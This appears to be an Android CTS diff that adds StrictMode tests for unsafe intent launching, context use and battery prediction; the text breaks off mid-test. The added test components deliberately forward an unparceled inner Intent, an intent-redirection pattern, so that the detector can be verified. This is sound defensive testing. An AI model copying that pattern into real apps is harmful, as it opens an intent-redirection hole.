diff --git a/tests/tests/os/src/android/os/cts/IntentLaunchActivity.java b/tests/tests/os/src/android/os/cts/IntentLaunchActivity.java
new file mode 100644
index 0000000..32aaad0
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IntentLaunchActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity used to verify an UnsafeIntentLaunch StrictMode violation is reported when an Intent
+ * is unparceled from the delivered Intent and used to start another activity.
+ */
+public class IntentLaunchActivity extends Activity {
+    private static final String INNER_INTENT_KEY = "inner-intent";
+
+    /**
+     * Returns an Intent containing a parceled inner Intent that can be used to start this Activity
+     * and verify the StrictMode UnsafeIntentLaunch check is reported as expected.
+     */
+    public static Intent getTestIntent(Context context) {
+        Intent intent = new Intent(context, IntentLaunchActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Intent innerIntent = new Intent(context, SimpleTestActivity.class);
+        intent.putExtra(INNER_INTENT_KEY, innerIntent);
+        return intent;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent innerIntent = getIntent().getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            startActivity(innerIntent);
+        }
+        finish();
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/IntentLaunchReceiver.java b/tests/tests/os/src/android/os/cts/IntentLaunchReceiver.java
new file mode 100644
index 0000000..155d8c2
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IntentLaunchReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * Receiver used to verify an UnsafeIntentLaunch StrictMode violation is reported when an Intent
+ * is unparceled from the delivered Intent and used to send another broadcast.
+ */
+public class IntentLaunchReceiver extends BroadcastReceiver {
+    public static final String INNER_INTENT_KEY = "inner-intent";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Intent innerIntent = intent.getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            context.sendBroadcast(innerIntent);
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/IntentLaunchService.java b/tests/tests/os/src/android/os/cts/IntentLaunchService.java
new file mode 100644
index 0000000..aa3e722
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IntentLaunchService.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+
+/**
+ * Service used to verify an UnsafeIntentLaunch StrictMode violation is reported when an Intent
+ * is unparceled from the delivered Intent and used to start / bind to another Service.
+ */
+public class IntentLaunchService extends Service {
+    private static final String INNER_INTENT_KEY = "inner-intent";
+
+    private static final ServiceConnection SERVICE_CONNECTION = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName className, IBinder service) {}
+
+        @Override
+        public void onServiceDisconnected(ComponentName arg0) {}
+    };
+
+    /**
+     * Returns an instance of a ServiceConnection that can be used when binding to this Service.
+     */
+    public static ServiceConnection getServiceConnection() {
+        return SERVICE_CONNECTION;
+    }
+
+    /**
+     * Returns an Intent containing a parceled inner Intent that can be used to start / bind to this
+     * Service and verify the StrictMode UnsafeIntentLaunch check is reported as expected.
+     */
+    public static Intent getTestIntent(Context context) {
+        Intent intent = new Intent(context, IntentLaunchService.class);
+        Intent innerIntent = new Intent(context, LocalService.class);
+        intent.putExtra(INNER_INTENT_KEY, innerIntent);
+        return intent;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Intent innerIntent = intent.getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            bindService(innerIntent, SERVICE_CONNECTION, Context.BIND_AUTO_CREATE);
+        }
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Intent innerIntent = intent.getParcelableExtra(INNER_INTENT_KEY);
+        if (innerIntent != null) {
+            startService(innerIntent);
+        }
+        stopService(intent);
+        return START_NOT_STICKY;
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/PowerManagerTest.java b/tests/tests/os/src/android/os/cts/PowerManagerTest.java
index 0d9b71f..bbdeb1d 100644
--- a/tests/tests/os/src/android/os/cts/PowerManagerTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManagerTest.java
@@ -18,22 +18,32 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings.Global;
 import android.test.AndroidTestCase;
+
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.SystemUtil;
+
 import org.junit.After;
 import org.junit.Before;
 
+import java.time.Duration;
+
 @AppModeFull(reason = "Instant Apps don't have the WRITE_SECURE_SETTINGS permission "
         + "required in tearDown for Global#putInt")
 public class PowerManagerTest extends AndroidTestCase {
     private static final String TAG = "PowerManagerTest";
     public static final long TIME = 3000;
     public static final int MORE_TIME = 300;
+    private static final int BROADCAST_TIMEOUT_SECONDS = 70;
+    private static final Duration LONG_DISCHARGE_DURATION = Duration.ofMillis(2000);
+    private static final Duration SHORT_DISCHARGE_DURATION = Duration.ofMillis(1000);
 
     private int mInitialPowerSaverMode;
     private int mInitialDynamicPowerSavingsEnabled;
@@ -124,4 +134,64 @@
                     Global.DYNAMIC_POWER_SAVINGS_DISABLE_THRESHOLD, 0));
         });
     }
+
+    public void testPowerManager_batteryDischargePrediction() throws Exception {
+        final PowerManager manager = BatteryUtils.getPowerManager();
+
+        if (!BatteryUtils.hasBattery()) {
+            assertNull(manager.getBatteryDischargePrediction());
+            return;
+        }
+
+        // Unplug to ensure the plugged in broadcast is sent.
+        BatteryUtils.runDumpsysBatteryUnplug();
+
+        // Plugged in. No prediction should be given.
+        final CallbackAsserter pluggedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_POWER_CONNECTED));
+        BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        pluggedBroadcastAsserter.assertCalled("Didn't get power connected broadcast",
+                BROADCAST_TIMEOUT_SECONDS);
+        assertNull(manager.getBatteryDischargePrediction());
+
+        // Not plugged in. At the very least, the basic discharge estimation should be returned.
+        final CallbackAsserter unpluggedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_POWER_DISCONNECTED));
+        BatteryUtils.runDumpsysBatteryUnplug();
+        unpluggedBroadcastAsserter.assertCalled("Didn't get power disconnected broadcast",
+                BROADCAST_TIMEOUT_SECONDS);
+        assertNotNull(manager.getBatteryDischargePrediction());
+
+        CallbackAsserter predictionChangedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(PowerManager.ACTION_ENHANCED_DISCHARGE_PREDICTION_CHANGED));
+        setDischargePrediction(LONG_DISCHARGE_DURATION, true);
+        assertDischargePrediction(LONG_DISCHARGE_DURATION, true);
+        predictionChangedBroadcastAsserter.assertCalled("Prediction changed broadcast not received",
+                BROADCAST_TIMEOUT_SECONDS);
+
+
+        predictionChangedBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(PowerManager.ACTION_ENHANCED_DISCHARGE_PREDICTION_CHANGED));
+        setDischargePrediction(SHORT_DISCHARGE_DURATION, false);
+        assertDischargePrediction(SHORT_DISCHARGE_DURATION, false);
+        predictionChangedBroadcastAsserter.assertCalled("Prediction changed broadcast not received",
+                BROADCAST_TIMEOUT_SECONDS);
+    }
+
+    private void setDischargePrediction(Duration d, boolean isPersonalized) {
+        final PowerManager manager = BatteryUtils.getPowerManager();
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> manager.setBatteryDischargePrediction(d, isPersonalized),
+                android.Manifest.permission.BATTERY_PREDICTION);
+    }
+
+    private void assertDischargePrediction(Duration d, boolean isPersonalized) {
+        final PowerManager manager = BatteryUtils.getPowerManager();
+        // We can't pause time so must use >= because the time remaining should decrease as
+        // time goes on.
+        Duration prediction = manager.getBatteryDischargePrediction();
+        assertTrue("Prediction is greater than " + d.toMillis() + "ms: "
+                + prediction, d.toMillis() >= prediction.toMillis());
+        assertEquals(isPersonalized, manager.isBatteryDischargePredictionPersonalized());
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
index 22c706f..3acbce6 100644
--- a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
+++ b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
@@ -16,30 +16,6 @@
 
 package android.os.cts;
 
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
-
 import android.app.Activity;
-import android.os.Bundle;
-import android.widget.EditText;
-import android.widget.LinearLayout;
 
-public class SimpleTestActivity extends Activity {
-    private EditText mEditText;
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        mEditText = new EditText(this);
-        final LinearLayout layout = new LinearLayout(this);
-        layout.setOrientation(LinearLayout.VERTICAL);
-        layout.addView(mEditText);
-        setContentView(layout);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
-        mEditText.requestFocus();
-    }
-}
\ No newline at end of file
+public class SimpleTestActivity extends Activity {}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 562fc5e..cf77589 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -17,15 +17,9 @@
 package android.os.cts;
 
 import static android.content.Context.WINDOW_SERVICE;
-import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
-import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
-
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -33,14 +27,15 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.hardware.display.DisplayManager;
-import android.inputmethodservice.InputMethodService;
 import android.net.TrafficStats;
 import android.net.Uri;
 import android.os.IBinder;
@@ -62,23 +57,19 @@
 import android.os.strictmode.Violation;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.Presubmit;
 import android.system.Os;
 import android.system.OsConstants;
 import android.util.Log;
 import android.view.Display;
+import android.view.GestureDetector;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
-import androidx.annotation.IntDef;
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.cts.mockime.ImeEvent;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSession;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -90,8 +81,6 @@
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
 import java.net.HttpURLConnection;
 import java.net.Socket;
 import java.net.URL;
@@ -110,51 +99,15 @@
 public class StrictModeTest {
     private static final String TAG = "StrictModeTest";
     private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
-    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+    private static final String UNSAFE_INTENT_LAUNCH = "UnsafeIntentLaunch";
 
     private StrictMode.ThreadPolicy mThreadPolicy;
     private StrictMode.VmPolicy mVmPolicy;
 
-    // TODO(b/160143006): re-enable IMS part test.
-    private static final boolean DISABLE_VERIFY_IMS = false;
-
-    /**
-     * Verify mode to verifying if APIs violates incorrect context violation.
-     *
-     * @see #VERIFY_MODE_GET_DISPLAY
-     * @see #VERIFY_MODE_GET_WINDOW_MANAGER
-     * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
-     */
-    @Retention(RetentionPolicy.SOURCE)
-    @IntDef(flag = true, value = {
-            VERIFY_MODE_GET_DISPLAY,
-            VERIFY_MODE_GET_WINDOW_MANAGER,
-            VERIFY_MODE_GET_VIEW_CONFIGURATION,
-    })
-    private @interface VerifyMode {}
-
-    /**
-     * Verifies if {@link Context#getDisplay} from {@link InputMethodService} and context created
-     * from {@link InputMethodService#createConfigurationContext(Configuration)} violates
-     * incorrect context violation.
-     */
-    private static final int VERIFY_MODE_GET_DISPLAY = 1;
-    /**
-     * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
-     * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
-     * violates incorrect context violation.
-     *
-     * @see Context#getSystemService(String)
-     * @see Context#getSystemService(Class)
-     */
-    private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 2;
-    /**
-     * Verifies if passing {@link InputMethodService} and context created
-     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
-     * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
-     */
-    private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 3;
+    private Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private GestureDetector.OnGestureListener mGestureListener =
+            new GestureDetector.SimpleOnGestureListener();
+    private static final String WM_CLASS_NAME = WindowManager.class.getSimpleName();
 
     private Context getContext() {
         return ApplicationProvider.getApplicationContext();
@@ -682,151 +635,301 @@
         }
     }
 
+    @Presubmit
     @Test
-    public void testIncorrectContextUse_GetSystemService() throws Exception {
+    public void testIncorrectContextUse_Application_ThrowViolation() throws Exception {
         StrictMode.setVmPolicy(
                 new StrictMode.VmPolicy.Builder()
                         .detectIncorrectContextUse()
                         .penaltyLog()
                         .build());
 
-        final String wmClassName = WindowManager.class.getSimpleName();
-        inspectViolation(
-                () -> getContext().getApplicationContext().getSystemService(WindowManager.class),
-                info -> assertThat(info.getStackTrace()).contains(
-                        "Tried to access visual service " + wmClassName));
+        final Context applicationContext = getContext();
 
-        final Display display = getContext().getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-        final Context visualContext = getContext().createDisplayContext(display)
-                .createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
-        assertNoViolation(() -> visualContext.getSystemService(WINDOW_SERVICE));
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> applicationContext.getSystemService(WindowManager.class));
 
-        Intent intent = new Intent(getContext(), SimpleTestActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        final Activity activity = InstrumentationRegistry.getInstrumentation()
-                .startActivitySync(intent);
-        assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
-
-        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-        verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
-    }
-
-    @Test
-    public void testIncorrectContextUse_GetDisplay() throws Exception {
-        StrictMode.setVmPolicy(
-                new StrictMode.VmPolicy.Builder()
-                        .detectIncorrectContextUse()
-                        .penaltyLog()
-                        .build());
-
-        final Display display = getContext().getSystemService(DisplayManager.class)
-                .getDisplay(DEFAULT_DISPLAY);
-
-        final Context displayContext = getContext().createDisplayContext(display);
-        assertNoViolation(displayContext::getDisplay);
-
-        final Context windowContext =
-                displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
-        assertNoViolation(windowContext::getDisplay);
-
-        Intent intent = new Intent(getContext(), SimpleTestActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-
-        final Activity activity = InstrumentationRegistry.getInstrumentation()
-                .startActivitySync(intent);
-        assertNoViolation(() -> activity.getDisplay());
-
-        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-        verifyIms(VERIFY_MODE_GET_DISPLAY);
-        try {
-            getContext().getApplicationContext().getDisplay();
-        } catch (UnsupportedOperationException e) {
-            return;
-        }
-        fail("Expected to get incorrect use exception from calling getDisplay() on Application");
-    }
-
-    @Test
-    public void testIncorrectContextUse_GetViewConfiguration() throws Exception {
-        StrictMode.setVmPolicy(
-                new StrictMode.VmPolicy.Builder()
-                        .detectIncorrectContextUse()
-                        .penaltyLog()
-                        .build());
-
-        final Context baseContext = getContext();
         assertViolation(
                 "Tried to access UI constants from a non-visual Context:",
-                () -> ViewConfiguration.get(baseContext));
+                () -> ViewConfiguration.get(applicationContext));
 
-        final Display display = baseContext.getSystemService(DisplayManager.class)
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("Tried to access UI constants from a non-visual Context.",
+                        () -> new GestureDetector(applicationContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_DisplayContext_ThrowViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Display display = getContext().getSystemService(DisplayManager.class)
                 .getDisplay(DEFAULT_DISPLAY);
-        final Context displayContext = baseContext.createDisplayContext(display);
+        final Context displayContext = getContext().createDisplayContext(display);
+
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> displayContext.getSystemService(WindowManager.class));
+
         assertViolation(
                 "Tried to access UI constants from a non-visual Context:",
                 () -> ViewConfiguration.get(displayContext));
 
-        final Context windowContext =
-                displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("Tried to access UI constants from a non-visual Context.",
+                        () -> new GestureDetector(displayContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_WindowContext_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Context windowContext = createWindowContext();
+
+        assertNoViolation(() -> windowContext.getSystemService(WINDOW_SERVICE));
+
         assertNoViolation(() -> ViewConfiguration.get(windowContext));
 
-        Intent intent = new Intent(baseContext, SimpleTestActivity.class);
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() -> new GestureDetector(windowContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_Activity_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        Intent intent = new Intent(getContext(), SimpleTestActivity.class);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        final Activity activity = InstrumentationRegistry.getInstrumentation()
-                .startActivitySync(intent);
+        final Activity activity = mInstrumentation.startActivitySync(intent);
+
+        assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
+
         assertNoViolation(() -> ViewConfiguration.get(activity));
 
-        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-        verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
-    }
-
-    // TODO(b/159593676): move the logic to CtsInputMethodTestCases
-    /**
-     * Verify if APIs violates incorrect context violations by {@code mode}.
-     *
-     * @see VerifyMode
-     */
-    private void verifyIms(@VerifyMode int mode) throws Exception {
-        // If devices do not support installable IMEs, finish the test gracefully. We don't use
-        // assumeTrue here because we do pass some cases, so showing "pass" instead of "skip" makes
-        // sense here.
-        // TODO(b/160143006): re-enable IMS part test.
-        if (!supportsInstallableIme() || DISABLE_VERIFY_IMS) {
-            return;
-        }
-
-        try (final MockImeSession imeSession = MockImeSession.create(getContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder().setStrictModeEnabled(true))) {
-            final ImeEventStream stream = imeSession.openEventStream();
-            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
-            final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
-            final ImeEvent imeEvent;
-            switch (mode) {
-                case VERIFY_MODE_GET_DISPLAY:
-                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetDisplay(),
-                            TIMEOUT);
-                    break;
-                case VERIFY_MODE_GET_WINDOW_MANAGER:
-                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(),
-                            TIMEOUT);
-                    break;
-                case VERIFY_MODE_GET_VIEW_CONFIGURATION:
-                    imeEvent = expectCommand(forkedStream,
-                            imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
-                    break;
-                default:
-                    imeEvent = null;
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() -> new GestureDetector(activity, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
             }
-            assertTrue(imeEvent.getReturnBooleanValue());
-            notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
-                    NOT_EXPECT_TIMEOUT);
-        }
+        });
     }
 
-    private boolean supportsInstallableIme() {
-        return getContext().getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS);
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_UiDerivedContext_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Configuration config = new Configuration();
+        config.setToDefaults();
+        final Context uiDerivedConfigContext =
+                createWindowContext().createConfigurationContext(config);
+
+        assertNoViolation(() -> uiDerivedConfigContext.getSystemService(WINDOW_SERVICE));
+
+        assertNoViolation(() -> ViewConfiguration.get(uiDerivedConfigContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() ->
+                        new GestureDetector(uiDerivedConfigContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+
+        final Context uiDerivedAttrContext = createWindowContext()
+                .createAttributionContext(null /* attributeTag */);
+
+        assertNoViolation(() -> uiDerivedAttrContext.getSystemService(WINDOW_SERVICE));
+
+        assertNoViolation(() -> ViewConfiguration.get(uiDerivedAttrContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertNoViolation(() ->
+                        new GestureDetector(uiDerivedAttrContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+    }
+
+    @Presubmit
+    @Test
+    public void testIncorrectContextUse_UiDerivedDisplayContext_ThrowViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Display display = getContext().getSystemService(DisplayManager.class)
+                .getDisplay(DEFAULT_DISPLAY);
+        final Context uiDerivedDisplayContext = createWindowContext().createDisplayContext(display);
+
+        assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                () -> uiDerivedDisplayContext.getSystemService(WindowManager.class));
+
+        assertViolation(
+                "Tried to access UI constants from a non-visual Context:",
+                () -> ViewConfiguration.get(uiDerivedDisplayContext));
+
+        mInstrumentation.runOnMainSync(() -> {
+            try {
+                assertViolation("Tried to access UI constants from a non-visual Context.",
+                        () -> new GestureDetector(uiDerivedDisplayContext, mGestureListener));
+            } catch (Exception e) {
+                fail("Failed because of " + e);
+            }
+        });
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToActivity_ThrowsViolation() throws Exception {
+        // The UnsafeIntentLaunch StrictMode check is intended to detect and report unparceling and
+        // launching of Intents from the delivered Intent. This test verifies a violation is
+        // reported when an inner Intent is unparceled from the Intent delivered to an Activity and
+        // used to start another Activity.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchActivity.getTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToActivityCheckDisabled_NoViolation()
+            throws Exception {
+        // This test verifies the StrictMode violation is not reported when unsafe intent launching
+        // is permitted through the VmPolicy Builder permit API.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .permitUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchActivity.getTestIntent(context);
+
+        assertNoViolation(() -> context.startActivity(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToBoundService_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a bound Service and used to bind to another service.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchService.getTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH,
+                () -> context.bindService(intent, IntentLaunchService.getServiceConnection(),
+                        Context.BIND_AUTO_CREATE));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToStartedService_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a started Service and used to start another service.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = IntentLaunchService.getTestIntent(context);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.startService(intent));
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can only declare runtime receivers")
+    public void testUnsafeIntentLaunch_ParceledIntentToStaticReceiver_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a statically declared BroadcastReceiver and used to send another
+        // broadcast.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        Intent intent = new Intent(context, IntentLaunchReceiver.class);
+        Intent innerIntent = new Intent("android.os.cts.TEST_BROADCAST_ACTION");
+        intent.putExtra(IntentLaunchReceiver.INNER_INTENT_KEY, innerIntent);
+
+        assertViolation(UNSAFE_INTENT_LAUNCH, () -> context.sendBroadcast(intent));
+    }
+
+    @Test
+    public void testUnsafeIntentLaunch_ParceledIntentToDynamicReceiver_ThrowsViolation()
+            throws Exception {
+        // This test verifies a violation is reported when an inner Intent is unparceled from the
+        // Intent delivered to a dynamically registered BroadcastReceiver and used to send another
+        // broadcast.
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectUnsafeIntentLaunch()
+                        .penaltyLog()
+                        .build());
+        Context context = getContext();
+        String receiverAction = "android.os.cts.TEST_INTENT_LAUNCH_RECEIVER_ACTION";
+        context.registerReceiver(new IntentLaunchReceiver(), new IntentFilter(receiverAction));
